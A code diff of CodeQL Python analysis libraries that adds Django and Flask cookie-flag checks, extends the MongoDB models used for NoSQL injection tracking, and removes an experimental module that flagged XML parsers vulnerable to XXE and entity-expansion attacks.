|
||||
DataFlow::exprNode(str)
|
||||
.(DataFlow::LocalSourceNode)
|
||||
.flowsTo(this.(HeaderDeclaration).getValueArg())
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getNameArg() { result = this.(HeaderDeclaration).getValueArg() }
|
||||
|
||||
override DataFlow::Node getValueArg() { result = this.(HeaderDeclaration).getValueArg() }
|
||||
|
||||
override DataFlow::Node getHeaderArg() { none() }
|
||||
}
|
||||
@@ -3,7 +3,6 @@
|
||||
*/
|
||||
|
||||
private import experimental.semmle.python.frameworks.Stdlib
|
||||
private import experimental.semmle.python.frameworks.Xml
|
||||
private import experimental.semmle.python.frameworks.Flask
|
||||
private import experimental.semmle.python.frameworks.Django
|
||||
private import experimental.semmle.python.frameworks.Werkzeug
|
||||
|
||||
@@ -9,6 +9,7 @@ private import semmle.python.dataflow.new.DataFlow
|
||||
private import experimental.semmle.python.Concepts
|
||||
private import semmle.python.ApiGraphs
|
||||
import semmle.python.dataflow.new.RemoteFlowSources
|
||||
private import semmle.python.Concepts
|
||||
|
||||
private module ExperimentalPrivateDjango {
|
||||
private module DjangoMod {
|
||||
@@ -32,22 +33,64 @@ private module ExperimentalPrivateDjango {
|
||||
module Response {
|
||||
module HttpResponse {
|
||||
API::Node baseClassRef() {
|
||||
result = response().getMember("HttpResponse").getReturn()
|
||||
result = response().getMember("HttpResponse")
|
||||
or
|
||||
// Handle `django.http.HttpResponse` alias
|
||||
result = http().getMember("HttpResponse").getReturn()
|
||||
result = http().getMember("HttpResponse")
|
||||
}
|
||||
|
||||
/** Gets a reference to the `django.http.response.HttpResponse` class. */
|
||||
API::Node classRef() { result = baseClassRef().getASubclass*() }
|
||||
|
||||
/**
|
||||
* A source of instances of `django.http.response.HttpResponse`, extend this class to model new instances.
|
||||
*
|
||||
* This can include instantiations of the class, return values from function
|
||||
* calls, or a special parameter that will be set when functions are called by an external
|
||||
* library.
|
||||
*
|
||||
* Use the predicate `HttpResponse::instance()` to get references to instances of `django.http.response.HttpResponse`.
|
||||
*/
|
||||
abstract class InstanceSource extends HTTP::Server::HttpResponse::Range, DataFlow::Node {
|
||||
}
|
||||
|
||||
/** A direct instantiation of `django.http.response.HttpResponse`. */
|
||||
private class ClassInstantiation extends InstanceSource, DataFlow::CallCfgNode {
|
||||
ClassInstantiation() { this = classRef().getACall() }
|
||||
|
||||
override DataFlow::Node getBody() {
|
||||
result in [this.getArg(0), this.getArgByName("content")]
|
||||
}
|
||||
|
||||
// How to support the `headers` argument here?
|
||||
override DataFlow::Node getMimetypeOrContentTypeArg() {
|
||||
result in [this.getArg(1), this.getArgByName("content_type")]
|
||||
}
|
||||
|
||||
override string getMimetypeDefault() { result = "text/html" }
|
||||
}
|
||||
|
||||
/** Gets a reference to an instance of `django.http.response.HttpResponse`. */
|
||||
private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t) {
|
||||
t.start() and
|
||||
result instanceof InstanceSource
|
||||
or
|
||||
exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t))
|
||||
}
|
||||
|
||||
/** Gets a reference to an instance of `django.http.response.HttpResponse`. */
|
||||
DataFlow::Node instance() { instance(DataFlow::TypeTracker::end()).flowsTo(result) }
|
||||
|
||||
/** Gets a reference to a header instance. */
|
||||
private DataFlow::LocalSourceNode headerInstance(DataFlow::TypeTracker t) {
|
||||
t.start() and
|
||||
(
|
||||
exists(SubscriptNode subscript |
|
||||
subscript.getObject() = baseClassRef().getAUse().asCfgNode() and
|
||||
subscript.getObject() = baseClassRef().getReturn().getAUse().asCfgNode() and
|
||||
result.asCfgNode() = subscript
|
||||
)
|
||||
or
|
||||
result.(DataFlow::AttrRead).getObject() = baseClassRef().getAUse()
|
||||
result.(DataFlow::AttrRead).getObject() = baseClassRef().getReturn().getAUse()
|
||||
)
|
||||
or
|
||||
exists(DataFlow::TypeTracker t2 | result = headerInstance(t2).track(t2, t))
|
||||
@@ -86,6 +129,63 @@ private module ExperimentalPrivateDjango {
|
||||
|
||||
override DataFlow::Node getValueArg() { result = headerInput }
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a call to `set_cookie()`.
|
||||
*
|
||||
* Given the following example:
|
||||
*
|
||||
* ```py
|
||||
* def django_response(request):
|
||||
* resp = django.http.HttpResponse()
|
||||
* resp.set_cookie("name", "value", secure=True, httponly=True, samesite='Lax')
|
||||
* return resp
|
||||
* ```
|
||||
*
|
||||
* * `this` would be `resp.set_cookie("name", "value", secure=False, httponly=False, samesite='None')`.
|
||||
* * `getName()`'s result would be `"name"`.
|
||||
* * `getValue()`'s result would be `"value"`.
|
||||
* * `isSecure()` predicate would succeed.
|
||||
* * `isHttpOnly()` predicate would succeed.
|
||||
* * `isSameSite()` predicate would succeed.
|
||||
*/
|
||||
class DjangoResponseSetCookieCall extends DataFlow::MethodCallNode, Cookie::Range {
|
||||
DjangoResponseSetCookieCall() {
|
||||
this.calls(PrivateDjango::DjangoImpl::Http::Response::HttpResponse::instance(),
|
||||
"set_cookie")
|
||||
}
|
||||
|
||||
override DataFlow::Node getNameArg() {
|
||||
result in [this.getArg(0), this.getArgByName("key")]
|
||||
}
|
||||
|
||||
override DataFlow::Node getValueArg() {
|
||||
result in [this.getArg(1), this.getArgByName("value")]
|
||||
}
|
||||
|
||||
override predicate isSecure() {
|
||||
DataFlow::exprNode(any(True t))
|
||||
.(DataFlow::LocalSourceNode)
|
||||
.flowsTo(this.(DataFlow::CallCfgNode).getArgByName("secure"))
|
||||
}
|
||||
|
||||
override predicate isHttpOnly() {
|
||||
DataFlow::exprNode(any(True t))
|
||||
.(DataFlow::LocalSourceNode)
|
||||
.flowsTo(this.(DataFlow::CallCfgNode).getArgByName("httponly"))
|
||||
}
|
||||
|
||||
override predicate isSameSite() {
|
||||
exists(StrConst str |
|
||||
str.getText() in ["Strict", "Lax"] and
|
||||
DataFlow::exprNode(str)
|
||||
.(DataFlow::LocalSourceNode)
|
||||
.flowsTo(this.(DataFlow::CallCfgNode).getArgByName("samesite"))
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getHeaderArg() { none() }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ private import semmle.python.frameworks.Flask
|
||||
private import semmle.python.dataflow.new.DataFlow
|
||||
private import experimental.semmle.python.Concepts
|
||||
private import semmle.python.ApiGraphs
|
||||
private import semmle.python.frameworks.Flask
|
||||
|
||||
module ExperimentalFlask {
|
||||
/**
|
||||
@@ -72,4 +73,53 @@ module ExperimentalFlask {
|
||||
|
||||
override DataFlow::Node getValueArg() { result.asExpr() = item.getValue() }
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a call to `set_cookie()`.
|
||||
*
|
||||
* Given the following example:
|
||||
*
|
||||
* ```py
|
||||
* @app.route("/")
|
||||
* def false():
|
||||
* resp = make_response()
|
||||
* resp.set_cookie("name", value="value", secure=True, httponly=True, samesite='Lax')
|
||||
* return resp
|
||||
* ```
|
||||
*
|
||||
* * `this` would be `resp.set_cookie("name", value="value", secure=False, httponly=False, samesite='None')`.
|
||||
* * `getName()`'s result would be `"name"`.
|
||||
* * `getValue()`'s result would be `"value"`.
|
||||
* * `isSecure()` predicate would succeed.
|
||||
* * `isHttpOnly()` predicate would succeed.
|
||||
* * `isSameSite()` predicate would succeed.
|
||||
*/
|
||||
class FlaskSetCookieCall extends Cookie::Range instanceof Flask::FlaskResponseSetCookieCall {
|
||||
override DataFlow::Node getNameArg() { result = this.getNameArg() }
|
||||
|
||||
override DataFlow::Node getValueArg() { result = this.getValueArg() }
|
||||
|
||||
override predicate isSecure() {
|
||||
DataFlow::exprNode(any(True t))
|
||||
.(DataFlow::LocalSourceNode)
|
||||
.flowsTo(this.(DataFlow::CallCfgNode).getArgByName("secure"))
|
||||
}
|
||||
|
||||
override predicate isHttpOnly() {
|
||||
DataFlow::exprNode(any(True t))
|
||||
.(DataFlow::LocalSourceNode)
|
||||
.flowsTo(this.(DataFlow::CallCfgNode).getArgByName("httponly"))
|
||||
}
|
||||
|
||||
override predicate isSameSite() {
|
||||
exists(StrConst str |
|
||||
str.getText() in ["Strict", "Lax"] and
|
||||
DataFlow::exprNode(str)
|
||||
.(DataFlow::LocalSourceNode)
|
||||
.flowsTo(this.(DataFlow::CallCfgNode).getArgByName("samesite"))
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getHeaderArg() { none() }
|
||||
}
|
||||
}
|
||||
|
||||
@@ -15,6 +15,10 @@ private module NoSql {
|
||||
/** Gets a reference to `pymongo.MongoClient` */
|
||||
private API::Node pyMongo() {
|
||||
result = API::moduleImport("pymongo").getMember("MongoClient").getReturn()
|
||||
or
|
||||
// see https://pymongo.readthedocs.io/en/stable/api/pymongo/mongo_client.html#pymongo.mongo_client.MongoClient
|
||||
result =
|
||||
API::moduleImport("pymongo").getMember("mongo_client").getMember("MongoClient").getReturn()
|
||||
}
|
||||
|
||||
/** Gets a reference to `flask_pymongo.PyMongo` */
|
||||
@@ -34,40 +38,36 @@ private module NoSql {
|
||||
* Gets a reference to an initialized `Mongo` instance.
|
||||
* See `pyMongo()`, `flask_PyMongo()`
|
||||
*/
|
||||
private API::Node mongoInstance() {
|
||||
private API::Node mongoClientInstance() {
|
||||
result = pyMongo() or
|
||||
result = flask_PyMongo()
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a reference to an initialized `Mongo` DB instance.
|
||||
* See `mongoEngine()`, `flask_MongoEngine()`
|
||||
* Gets a reference to a `Mongo` DB instance.
|
||||
*/
|
||||
private API::Node mongoDBInstance() {
|
||||
result = mongoEngine().getMember(["get_db", "connect"]).getReturn() or
|
||||
result = mongoEngine().getMember("connection").getMember(["get_db", "connect"]).getReturn() or
|
||||
result = flask_MongoEngine().getMember("get_db").getReturn()
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a reference to a `Mongo` DB use.
|
||||
*
|
||||
* See `mongoInstance()`, `mongoDBInstance()`.
|
||||
*/
|
||||
private DataFlow::LocalSourceNode mongoDB(DataFlow::TypeTracker t) {
|
||||
private DataFlow::LocalSourceNode mongoDBInstance(DataFlow::TypeTracker t) {
|
||||
t.start() and
|
||||
(
|
||||
exists(SubscriptNode subscript |
|
||||
subscript.getObject() = mongoInstance().getAUse().asCfgNode() and
|
||||
subscript.getObject() = mongoClientInstance().getAUse().asCfgNode() and
|
||||
result.asCfgNode() = subscript
|
||||
)
|
||||
or
|
||||
result.(DataFlow::AttrRead).getObject() = mongoInstance().getAUse()
|
||||
result.(DataFlow::AttrRead).getObject() = mongoClientInstance().getAUse()
|
||||
or
|
||||
result = mongoDBInstance().getAnImmediateUse()
|
||||
result = mongoEngine().getMember(["get_db", "connect"]).getACall()
|
||||
or
|
||||
result = mongoEngine().getMember("connection").getMember(["get_db", "connect"]).getACall()
|
||||
or
|
||||
result = flask_MongoEngine().getMember("get_db").getACall()
|
||||
or
|
||||
// see https://pymongo.readthedocs.io/en/stable/api/pymongo/mongo_client.html#pymongo.mongo_client.MongoClient.get_default_database
|
||||
// see https://pymongo.readthedocs.io/en/stable/api/pymongo/mongo_client.html#pymongo.mongo_client.MongoClient.get_database
|
||||
result = mongoClientInstance().getMember(["get_default_database", "get_database"]).getACall()
|
||||
)
|
||||
or
|
||||
exists(DataFlow::TypeTracker t2 | result = mongoDB(t2).track(t2, t))
|
||||
exists(DataFlow::TypeTracker t2 | result = mongoDBInstance(t2).track(t2, t))
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -81,21 +81,27 @@ private module NoSql {
|
||||
*
|
||||
* `mongo.db` would be a use of a `Mongo` instance, and so the result.
|
||||
*/
|
||||
private DataFlow::Node mongoDB() { mongoDB(DataFlow::TypeTracker::end()).flowsTo(result) }
|
||||
private DataFlow::Node mongoDBInstance() {
|
||||
mongoDBInstance(DataFlow::TypeTracker::end()).flowsTo(result)
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a reference to a `Mongo` collection use.
|
||||
*
|
||||
* See `mongoDB()`.
|
||||
*/
|
||||
private DataFlow::LocalSourceNode mongoCollection(DataFlow::TypeTracker t) {
|
||||
t.start() and
|
||||
(
|
||||
exists(SubscriptNode subscript | result.asCfgNode() = subscript |
|
||||
subscript.getObject() = mongoDB().asCfgNode()
|
||||
subscript.getObject() = mongoDBInstance().asCfgNode()
|
||||
)
|
||||
or
|
||||
result.(DataFlow::AttrRead).getObject() = mongoDB()
|
||||
result.(DataFlow::AttrRead).getObject() = mongoDBInstance()
|
||||
or
|
||||
// see https://pymongo.readthedocs.io/en/stable/api/pymongo/database.html#pymongo.database.Database.get_collection
|
||||
// see https://pymongo.readthedocs.io/en/stable/api/pymongo/database.html#pymongo.database.Database.create_collection
|
||||
result
|
||||
.(DataFlow::MethodCallNode)
|
||||
.calls(mongoDBInstance(), ["get_collection", "create_collection"])
|
||||
)
|
||||
or
|
||||
exists(DataFlow::TypeTracker t2 | result = mongoCollection(t2).track(t2, t))
|
||||
@@ -204,10 +210,13 @@ private module NoSql {
|
||||
*/
|
||||
private class BsonObjectIdCall extends DataFlow::CallCfgNode, NoSqlSanitizer::Range {
|
||||
BsonObjectIdCall() {
|
||||
this =
|
||||
API::moduleImport(["bson", "bson.objectid", "bson.json_util"])
|
||||
.getMember("ObjectId")
|
||||
.getACall()
|
||||
exists(API::Node mod |
|
||||
mod = API::moduleImport("bson")
|
||||
or
|
||||
mod = API::moduleImport("bson").getMember(["objectid", "json_util"])
|
||||
|
|
||||
this = mod.getMember("ObjectId").getACall()
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() { result = this.getArg(0) }
|
||||
|
||||
@@ -1,442 +0,0 @@
|
||||
/**
|
||||
* Provides class and predicates to track external data that
|
||||
* may represent malicious XML objects.
|
||||
*/
|
||||
|
||||
private import python
|
||||
private import semmle.python.dataflow.new.DataFlow
|
||||
private import experimental.semmle.python.Concepts
|
||||
private import semmle.python.ApiGraphs
|
||||
|
||||
module XML = ExperimentalXML;
|
||||
|
||||
private module XmlEtree {
|
||||
/**
|
||||
* Provides models for `xml.etree` parsers
|
||||
*
|
||||
* See
|
||||
* - https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.XMLParser
|
||||
* - https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.XMLPullParser
|
||||
*/
|
||||
module XMLParser {
|
||||
/**
|
||||
* A source of instances of `xml.etree` parsers, extend this class to model new instances.
|
||||
*
|
||||
* This can include instantiations of the class, return values from function
|
||||
* calls, or a special parameter that will be set when functions are called by an external
|
||||
* library.
|
||||
*
|
||||
* Use the predicate `XMLParser::instance()` to get references to instances of `xml.etree` parsers.
|
||||
*/
|
||||
abstract class InstanceSource extends DataFlow::LocalSourceNode { }
|
||||
|
||||
/** A direct instantiation of `xml.etree` parsers. */
|
||||
private class ClassInstantiation extends InstanceSource, DataFlow::CallCfgNode {
|
||||
ClassInstantiation() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember("XMLParser")
|
||||
.getACall()
|
||||
or
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember("XMLPullParser")
|
||||
.getACall()
|
||||
}
|
||||
}
|
||||
|
||||
/** Gets a reference to an `xml.etree` parser instance. */
|
||||
private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t) {
|
||||
t.start() and
|
||||
result instanceof InstanceSource
|
||||
or
|
||||
exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t))
|
||||
}
|
||||
|
||||
/** Gets a reference to an `xml.etree` parser instance. */
|
||||
DataFlow::Node instance() { instance(DataFlow::TypeTracker::end()).flowsTo(result) }
|
||||
|
||||
/**
|
||||
* A call to the `feed` method of an `xml.etree` parser.
|
||||
*/
|
||||
private class XMLEtreeParserFeedCall extends DataFlow::MethodCallNode, XML::XMLParsing::Range {
|
||||
XMLEtreeParserFeedCall() { this.calls(instance(), "feed") }
|
||||
|
||||
override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("data")] }
|
||||
|
||||
override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
|
||||
kind.isBillionLaughs() or kind.isQuadraticBlowup()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to either of:
|
||||
* - `xml.etree.ElementTree.fromstring`
|
||||
* - `xml.etree.ElementTree.fromstringlist`
|
||||
* - `xml.etree.ElementTree.XML`
|
||||
* - `xml.etree.ElementTree.XMLID`
|
||||
* - `xml.etree.ElementTree.parse`
|
||||
* - `xml.etree.ElementTree.iterparse`
|
||||
*/
|
||||
private class XMLEtreeParsing extends DataFlow::CallCfgNode, XML::XMLParsing::Range {
|
||||
XMLEtreeParsing() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember(["fromstring", "fromstringlist", "XML", "XMLID", "parse", "iterparse"])
|
||||
.getACall()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() {
|
||||
result in [
|
||||
this.getArg(0),
|
||||
// fromstring / XML / XMLID
|
||||
this.getArgByName("text"),
|
||||
// fromstringlist
|
||||
this.getArgByName("sequence"),
|
||||
// parse / iterparse
|
||||
this.getArgByName("source"),
|
||||
]
|
||||
}
|
||||
|
||||
override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
|
||||
// note: it does not matter what `xml.etree` parser you are using, you cannot
|
||||
// change the security features anyway :|
|
||||
kind.isBillionLaughs() or kind.isQuadraticBlowup()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private module SaxBasedParsing {
|
||||
/**
|
||||
* A call to the `setFeature` method on a XML sax parser.
|
||||
*
|
||||
* See https://docs.python.org/3.10/library/xml.sax.reader.html#xml.sax.xmlreader.XMLReader.setFeature
|
||||
*/
|
||||
class SaxParserSetFeatureCall extends API::CallNode, DataFlow::MethodCallNode {
|
||||
SaxParserSetFeatureCall() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("sax")
|
||||
.getMember("make_parser")
|
||||
.getReturn()
|
||||
.getMember("setFeature")
|
||||
.getACall()
|
||||
}
|
||||
|
||||
// The keyword argument names does not match documentation. I checked (with Python
|
||||
// 3.9.5) that the names used here actually works.
|
||||
API::Node getFeatureArg() { result = this.getParameter(0, "name") }
|
||||
|
||||
API::Node getStateArg() { result = this.getParameter(1, "state") }
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a reference to a XML sax parser that has `feature_external_ges` turned on.
|
||||
*
|
||||
* See https://docs.python.org/3/library/xml.sax.handler.html#xml.sax.handler.feature_external_ges
|
||||
*/
|
||||
private DataFlow::Node saxParserWithFeatureExternalGesTurnedOn(DataFlow::TypeTracker t) {
|
||||
t.start() and
|
||||
exists(SaxParserSetFeatureCall call |
|
||||
call.getFeatureArg().getARhs() =
|
||||
API::moduleImport("xml")
|
||||
.getMember("sax")
|
||||
.getMember("handler")
|
||||
.getMember("feature_external_ges")
|
||||
.getAUse() and
|
||||
call.getStateArg().getAValueReachingRhs().asExpr().(BooleanLiteral).booleanValue() = true and
|
||||
result = call.getObject()
|
||||
)
|
||||
or
|
||||
exists(DataFlow::TypeTracker t2 |
|
||||
t = t2.smallstep(saxParserWithFeatureExternalGesTurnedOn(t2), result)
|
||||
) and
|
||||
// take account of that we can set the feature to False, which makes the parser safe again
|
||||
not exists(SaxParserSetFeatureCall call |
|
||||
call.getObject() = result and
|
||||
call.getFeatureArg().getARhs() =
|
||||
API::moduleImport("xml")
|
||||
.getMember("sax")
|
||||
.getMember("handler")
|
||||
.getMember("feature_external_ges")
|
||||
.getAUse() and
|
||||
call.getStateArg().getAValueReachingRhs().asExpr().(BooleanLiteral).booleanValue() = false
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a reference to a XML sax parser that has `feature_external_ges` turned on.
|
||||
*
|
||||
* See https://docs.python.org/3/library/xml.sax.handler.html#xml.sax.handler.feature_external_ges
|
||||
*/
|
||||
DataFlow::Node saxParserWithFeatureExternalGesTurnedOn() {
|
||||
result = saxParserWithFeatureExternalGesTurnedOn(DataFlow::TypeTracker::end())
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to the `parse` method on a SAX XML parser.
|
||||
*/
|
||||
private class XMLSaxInstanceParsing extends DataFlow::MethodCallNode, XML::XMLParsing::Range {
|
||||
XMLSaxInstanceParsing() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("sax")
|
||||
.getMember("make_parser")
|
||||
.getReturn()
|
||||
.getMember("parse")
|
||||
.getACall()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("source")] }
|
||||
|
||||
override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
|
||||
// always vuln to these
|
||||
(kind.isBillionLaughs() or kind.isQuadraticBlowup())
|
||||
or
|
||||
// can be vuln to other things if features has been turned on
|
||||
this.getObject() = saxParserWithFeatureExternalGesTurnedOn() and
|
||||
(kind.isXxe() or kind.isDtdRetrieval())
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to either `parse` or `parseString` from `xml.sax` module.
|
||||
*
|
||||
* See:
|
||||
* - https://docs.python.org/3.10/library/xml.sax.html#xml.sax.parse
|
||||
* - https://docs.python.org/3.10/library/xml.sax.html#xml.sax.parseString
|
||||
*/
|
||||
private class XMLSaxParsing extends DataFlow::MethodCallNode, XML::XMLParsing::Range {
|
||||
XMLSaxParsing() {
|
||||
this =
|
||||
API::moduleImport("xml").getMember("sax").getMember(["parse", "parseString"]).getACall()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() {
|
||||
result in [
|
||||
this.getArg(0),
|
||||
// parseString
|
||||
this.getArgByName("string"),
|
||||
// parse
|
||||
this.getArgByName("source"),
|
||||
]
|
||||
}
|
||||
|
||||
override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
|
||||
// always vuln to these
|
||||
(kind.isBillionLaughs() or kind.isQuadraticBlowup())
|
||||
or
|
||||
// can be vuln to other things if features has been turned on
|
||||
this.getObject() = saxParserWithFeatureExternalGesTurnedOn() and
|
||||
(kind.isXxe() or kind.isDtdRetrieval())
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to the `parse` or `parseString` methods from `xml.dom.minidom` or `xml.dom.pulldom`.
|
||||
*
|
||||
* Both of these modules are based on SAX parsers.
|
||||
*/
|
||||
private class XMLDomParsing extends DataFlow::CallCfgNode, XML::XMLParsing::Range {
|
||||
XMLDomParsing() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("dom")
|
||||
.getMember(["minidom", "pulldom"])
|
||||
.getMember(["parse", "parseString"])
|
||||
.getACall()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() {
|
||||
result in [
|
||||
this.getArg(0),
|
||||
// parseString
|
||||
this.getArgByName("string"),
|
||||
// minidom.parse
|
||||
this.getArgByName("file"),
|
||||
// pulldom.parse
|
||||
this.getArgByName("stream_or_string"),
|
||||
]
|
||||
}
|
||||
|
||||
DataFlow::Node getParserArg() { result in [this.getArg(1), this.getArgByName("parser")] }
|
||||
|
||||
override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
|
||||
this.getParserArg() = saxParserWithFeatureExternalGesTurnedOn() and
|
||||
(kind.isXxe() or kind.isDtdRetrieval())
|
||||
or
|
||||
(kind.isBillionLaughs() or kind.isQuadraticBlowup())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private module Lxml {
|
||||
/**
|
||||
* Provides models for `lxml.etree` parsers.
|
||||
*
|
||||
* See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
|
||||
*/
|
||||
module XMLParser {
|
||||
/**
|
||||
* A source of instances of `lxml.etree` parsers, extend this class to model new instances.
|
||||
*
|
||||
* This can include instantiations of the class, return values from function
|
||||
* calls, or a special parameter that will be set when functions are called by an external
|
||||
* library.
|
||||
*
|
||||
* Use the predicate `XMLParser::instance()` to get references to instances of `lxml.etree` parsers.
|
||||
*/
|
||||
abstract class InstanceSource extends DataFlow::LocalSourceNode {
|
||||
/** Holds if this instance is vulnerable to `kind`. */
|
||||
abstract predicate vulnerableTo(XML::XMLVulnerabilityKind kind);
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to `lxml.etree.XMLParser`.
|
||||
*
|
||||
* See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
|
||||
*/
|
||||
private class LXMLParser extends InstanceSource, DataFlow::CallCfgNode {
|
||||
LXMLParser() {
|
||||
this = API::moduleImport("lxml").getMember("etree").getMember("XMLParser").getACall()
|
||||
}
|
||||
|
||||
// NOTE: it's not possible to change settings of a parser after constructing it
|
||||
override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
|
||||
kind.isXxe() and
|
||||
(
|
||||
// resolve_entities has default True
|
||||
not exists(this.getArgByName("resolve_entities"))
|
||||
or
|
||||
this.getArgByName("resolve_entities").getALocalSource().asExpr() = any(True t)
|
||||
)
|
||||
or
|
||||
(kind.isBillionLaughs() or kind.isQuadraticBlowup()) and
|
||||
this.getArgByName("huge_tree").getALocalSource().asExpr() = any(True t) and
|
||||
not this.getArgByName("resolve_entities").getALocalSource().asExpr() = any(False t)
|
||||
or
|
||||
kind.isDtdRetrieval() and
|
||||
this.getArgByName("load_dtd").getALocalSource().asExpr() = any(True t) and
|
||||
this.getArgByName("no_network").getALocalSource().asExpr() = any(False t)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to `lxml.etree.get_default_parser`.
|
||||
*
|
||||
* See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.get_default_parser
|
||||
*/
|
||||
private class LXMLDefaultParser extends InstanceSource, DataFlow::CallCfgNode {
|
||||
LXMLDefaultParser() {
|
||||
this =
|
||||
API::moduleImport("lxml").getMember("etree").getMember("get_default_parser").getACall()
|
||||
}
|
||||
|
||||
override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
|
||||
// as highlighted by
|
||||
// https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
|
||||
// by default XXE is allow. so as long as the default parser has not been
|
||||
// overridden, the result is also vuln to XXE.
|
||||
kind.isXxe()
|
||||
// TODO: take into account that you can override the default parser with `lxml.etree.set_default_parser`.
|
||||
}
|
||||
}
|
||||
|
||||
/** Gets a reference to an `lxml.etree` parsers instance, with origin in `origin` */
|
||||
private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t, InstanceSource origin) {
|
||||
t.start() and
|
||||
result = origin
|
||||
or
|
||||
exists(DataFlow::TypeTracker t2 | result = instance(t2, origin).track(t2, t))
|
||||
}
|
||||
|
||||
/** Gets a reference to an `lxml.etree` parsers instance, with origin in `origin` */
|
||||
DataFlow::Node instance(InstanceSource origin) {
|
||||
instance(DataFlow::TypeTracker::end(), origin).flowsTo(result)
|
||||
}
|
||||
|
||||
/** Gets a reference to an `lxml.etree` parser instance, that is vulnerable to `kind`. */
|
||||
DataFlow::Node instanceVulnerableTo(XML::XMLVulnerabilityKind kind) {
|
||||
exists(InstanceSource origin | result = instance(origin) and origin.vulnerableTo(kind))
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to the `feed` method of an `lxml` parser.
|
||||
*/
|
||||
private class LXMLParserFeedCall extends DataFlow::MethodCallNode, XML::XMLParsing::Range {
|
||||
LXMLParserFeedCall() { this.calls(instance(_), "feed") }
|
||||
|
||||
override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("data")] }
|
||||
|
||||
override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
|
||||
this.calls(instanceVulnerableTo(kind), "feed")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to either of:
|
||||
* - `lxml.etree.fromstring`
|
||||
* - `lxml.etree.fromstringlist`
|
||||
* - `lxml.etree.XML`
|
||||
* - `lxml.etree.parse`
|
||||
* - `lxml.etree.parseid`
|
||||
*
|
||||
* See https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.fromstring
|
||||
*/
|
||||
private class LXMLParsing extends DataFlow::CallCfgNode, XML::XMLParsing::Range {
|
||||
LXMLParsing() {
|
||||
this =
|
||||
API::moduleImport("lxml")
|
||||
.getMember("etree")
|
||||
.getMember(["fromstring", "fromstringlist", "XML", "parse", "parseid"])
|
||||
.getACall()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() {
|
||||
result in [
|
||||
this.getArg(0),
|
||||
// fromstring / XML
|
||||
this.getArgByName("text"),
|
||||
// fromstringlist
|
||||
this.getArgByName("strings"),
|
||||
// parse / parseid
|
||||
this.getArgByName("source"),
|
||||
]
|
||||
}
|
||||
|
||||
DataFlow::Node getParserArg() { result in [this.getArg(1), this.getArgByName("parser")] }
|
||||
|
||||
override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
|
||||
this.getParserArg() = XMLParser::instanceVulnerableTo(kind)
|
||||
or
|
||||
kind.isXxe() and
|
||||
not exists(this.getParserArg())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private module Xmltodict {
|
||||
/**
|
||||
* A call to `xmltodict.parse`.
|
||||
*/
|
||||
private class XMLtoDictParsing extends DataFlow::CallCfgNode, XML::XMLParsing::Range {
|
||||
XMLtoDictParsing() { this = API::moduleImport("xmltodict").getMember("parse").getACall() }
|
||||
|
||||
override DataFlow::Node getAnInput() {
|
||||
